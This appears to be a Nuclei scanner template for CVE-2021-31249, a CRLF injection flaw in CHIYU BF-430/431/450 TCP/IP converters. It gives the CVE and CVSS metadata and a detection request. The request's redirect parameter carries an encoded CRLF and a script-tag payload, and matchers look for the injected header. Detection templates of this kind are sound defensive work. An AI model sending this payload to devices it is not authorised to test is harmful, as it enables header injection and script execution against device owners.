46 lines
2.0 KiB
YAML
46 lines
2.0 KiB
YAML
id: CVE-2021-31249
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info:
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name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection
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author: geeknik
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severity: medium
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description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
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reference:
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- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
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- https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
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- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31249
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-31249
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cwe-id: CWE-74
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epss-score: 0.00331
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epss-percentile: 0.6786
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cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: chiyu-tech
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product: bf-430_firmware
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tags: cve,cve2021,chiyu,crlf,iot
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http:
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- method: GET
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path:
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- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "Location: setting.htm"
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- "<script>alert(document.domain)</script>"
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condition: and
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- type: status
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status:
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- 302
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# digest: 490a0046304402202e7e802c0ad1e11f1722c5a573d578460b70080a9e54df3963fed5f7a75b3085022008fa56e7d05ab46b142555a04f6f398db5ee5793a4219e65f6186c86c311e9cf:922c64590222798bb761d5b6d8e72950 |